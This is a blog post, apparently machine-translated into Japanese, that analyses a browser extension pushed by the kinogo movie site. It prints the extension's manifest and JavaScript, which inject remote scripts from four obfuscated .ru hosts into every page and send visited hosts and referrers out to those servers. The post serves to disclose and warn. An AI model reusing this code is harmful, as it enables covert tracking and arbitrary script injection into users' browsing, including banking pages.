Kinogo Webサイトに入ると、バナーが表示され始めました。
私はそれがどのような拡張機能であるのかと思いまして、コードを見ることにしました。
拡張機能が表示されたのはなぜですか?
作成者からの情報(vkグループのスクリーンショット。テキストと以下に複製されます。視力を損なわないでください):
スクリーンショットのテキスト
みなさんこんにちは! 最近、ロシアのプロバイダーやロシア連邦に隣接する国によるプロジェクトのブロックを回避することを目的とした、プラグイン(Mozilla Firefox、Google Chrome、Yandexブラウザーなど)のインストールに関する訪問者への通知をkinogo.coで開始しました。 すべてのプラグインを確認し、積極的にサポートしています。
Operaブラウザの準備がまだ整っていない唯一のプラグインは、近い将来に期待されています。 Internet Explolerはサポートされません。
通知はサイトで1日に1回表示されます。今日何らかの理由で拡張機能をインストールしていない場合は、明日、拡張機能を閉じてインストールまたは拒否することができます。
Operaブラウザの準備がまだ整っていない唯一のプラグインは、近い将来に期待されています。 Internet Explolerはサポートされません。
通知はサイトで1日に1回表示されます。今日何らかの理由で拡張機能をインストールしていない場合は、明日、拡張機能を閉じてインストールまたは拒否することができます。
拡張について
いくつかの拡張機能(少なくとも3つ)があることに注意してください。 ユーザーごとに拡張機能へのリンクが異なる場合があります。 私が遭遇した拡張機能には、同一のコードが含まれていました。 したがって、 これについて詳しく説明します 。
タイトル:Angry Racoon-Ban Ban
最終更新日:2015年5月5日。
バージョン:1.0.3
拡張コードの概要
興味深いチェーンのみを簡単に説明します。
1.拡張子の分析はmanifest.jsonで始まります
manifest.json
{ "background": { "page": "html/background.html" }, "content_scripts": [ { "js": [ "core/frameworks/cajon.js", "core/frameworks/jquery.js", "core/process.js" ], "matches": [ "*://*/*" ], "run_at": "document_start" } ], "description": " !", "icons": { "128": "images/128.png", "16": "images/16.png", "48": "images/48.png" }, "manifest_version": 2, "name": "Angry Kino - ", "permissions": [ "webRequest", "webRequestBlocking", "webNavigation", "tabs", "\u003Call_urls>" ], "update_url": "https://clients2.google.com/service/update2/crx", "version": "1.0.3", "web_accessible_resources": [ "images/_.png", "core/content.js", "core/contentSession.js", "core/messaging.js", "core/frameworks/uri.js", "core/backgroundHandlers.js", "core/backgroundSession.js", "core/backgroundUtils.js" ] }
2.キー「content_scripts」の値から、フレームワークに加えて、ファイルprocess.jsがユーザーが開いたすべてのページに接続されていることがわかります
process.js
require.config({ baseUrl: chrome.extension.getURL('/') }); require([ "core/content" ], function() { });
3. process.jsでは、require関数を使用して、ファイル「content.js」が接続されます
content.js
define(function (require) { exports = {}; (function () { var messageDispatcher = require('core/messaging').MessageDispatcher; messageDispatcher.sendToBackground( { cmd: 'GetRequestUrl' }, function (url) { if (url) { url = url.replace(/^https?:/, '') + '&r=' + encodeURIComponent(document.referrer) + '&h=' + encodeURIComponent(document.location.host) + '&rand=' + (new Date()).getTime(); if (document.head) { $("head").append($("<script />", { src: url })); } else { var i = setInterval(function () { if (document.head) { clearInterval(i); $("head").append($("<script />", { src: url })); } }, 100); } } }); if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) { var i2 = setInterval(function () { if (document.body) { clearInterval(i2); $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide()); } }, 100); } }).call(this); return exports; });
4. content.jsでは、messaging.jsファイルからのmessageDispatcher.sendToBackground関数呼び出しが興味深い
messaging.js
define(function (require) { exports = {}; (function () { var _handlers = {}; function dispatcher(handlers, request, sender, sendResponse) { if (!request || !request.cmd || !(typeof request.cmd === 'string')) { throw 'Error: Bad request!'; } var handlerName = 'handle' + request.cmd; var handler = handlers[handlerName]; if (!(typeof handler === 'function')) { return; } handler(request.args, sender, sendResponse); } chrome.extension.onMessage.addListener( function (request, sender, sendResponse) { dispatcher(_handlers, request, sender, sendResponse); } ); exports.MessageDispatcher = { addHandlers: function(handlers) { for(var name in handlers) { _handlers[name] = handlers[name]; } }, sendToBackground: function (request, callback) { callback = callback || $.noop; chrome.extension.sendMessage(request, callback); }, sendToContentScript: function (tabId, request, callback) { callback = callback || $.noop; chrome.tabs.sendMessage(tabId, request, callback); } }; }).call(this); return exports; });
5.この関数は、バックグラウンドスクリプトと各ページに挿入されたスクリプト間でメッセージを簡単に交換するための拡張機能APIのラッパーです。
6.したがって、messageDispatcher.sendToBackground関数は、バックグラウンドスクリプトからURLを要求します。
7. urlを返すためのコードを含むファイルを受信するための検索は、上記のポイントに似ているため、チェーンだけです:
manifest.json ==(キー "background.page")==> background.html backround.html ==(スクリプト)==> demon.js demon.js ==(必須)==> backround.js background.js ==(必須)==> backgroundHandlers.js backgroundHandlers.js ==(必須)==> backgroundUtils.js
8. backgroundUtils.jsを検討する
backgroundUtils.js
define(function (require) { exports = {}; (function () { var Session = require('core/backgroundSession').Session; var ProxyGetter = require('core/proxy').ProxyGetter; exports = { getRequestUrl: function() { if (ProxyGetter.serverIp) { return ( ProxyGetter.serverIp + '/getscripts2?' + this.getRequestParams() ); } }, getRequestParams: function() { return ('&b=' + Session.buildId + '&uid=' + Session.instanceId + '&insd=' + Session.installDate + '&sid=' + '&df=' ); }, sendNotify: function(from, to) { if (ProxyGetter.serverIp) { var url = ( ProxyGetter.serverIp + '/kinogo_log?' + this.getRequestParams() + '&from=' + encodeURIComponent(from) + '&to=' + encodeURIComponent(to) ); $.get(url); } } }; }).call(this); return exports; });
9. getRequestUrl関数とproxy.jsアドレスを持つファイルを使用して、拡張機能は4つのURLのいずれかを(ランダムに)受信します。
「http://outrageous.ru」、 「http://thrilling.ru」、 「http://frightened.ru」、 「http://agitated.ru」、
proxy.js
define(function (require) { exports = {}; (function () { /** * Bypass protection from Roskomnadzor */ var reserveLinks = [ 'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru', 'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru', 'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru', 'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru', ]; var ProxyGetter = {}; ProxyGetter.serverIp = null; /** * Use proxy * @param {type} callback * @returns {undefined} */ ProxyGetter.findServer = function (callback) { ProxyGetter.serverIp = null; if(reserveLinks.length > 0) { ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)]; } callback(); }; exports.ProxyGetter = ProxyGetter; }).call(this); return exports; });
10.したがって、クライアントスクリプトの要求に応じて、バックグラウンドは4つのURLのいずれかを返します。 クライアントスクリプトとsendToBackground関数に戻りましょう(ポイント6)。 この関数は、ページのリファラーをURLに追加し、受信したURLに従ってスクリプトをページに挿入します。
コードを読んだ後の最も興味深いことは、実際に得られた結論の確認です。
それでは、すべてをまとめましょう。
1.かなり人気のあるサイトが拡張機能のインストールを要求します。
2.拡張機能は、ユーザーの各ページに任意のスクリプトを挿入します( 前の記事のフレーズ、オンラインバンキング、パスワード、メッセージ、匿名性について言及します)。
3.スクリプトに加えて、ユーザー情報の明示的な送信があります。訪問したページとこれらのページのリファラーです。
独自の結論を導き出します。
PS以前は、この記事には「悪意のある拡張機能のテーマを続けるには、次のことを考慮してください」というフレーズが含まれていました。 彼女は意図的に取り除かれました。 繰り返しになりますが、この記事の目的は、宣言されたものに加えて、この拡張機能のコードが持っている機能と機能を示すことです。